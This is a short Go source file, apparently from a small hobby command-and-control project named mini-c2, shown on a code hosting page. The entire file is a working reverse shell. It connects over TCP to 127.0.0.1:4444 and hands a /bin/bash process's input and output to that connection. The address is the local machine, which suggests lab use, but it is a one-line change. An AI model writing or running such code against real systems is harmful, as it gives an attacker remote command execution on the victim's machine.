Files
mini-c2/reverse_poo.go
T
2025-09-08 08:38:04 -06:00

34 lines
466 B
Go

package main
import (
"net"
"os/exec"
)
type ReverseAddr struct {
reverAddr string
}
func CreateAddr() *ReverseAddr {
return &ReverseAddr {
reverAddr: "127.0.0.1:4444",
}
}
func (ra ReverseAddr) CreateRever() {
conn, err := net.Dial("tcp", ra.reverAddr)
if err != nil {
return
}
cmd := exec.Command("/bin/bash")
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run()
}
func main() {
myaddr := CreateAddr()
myaddr.CreateRever()
}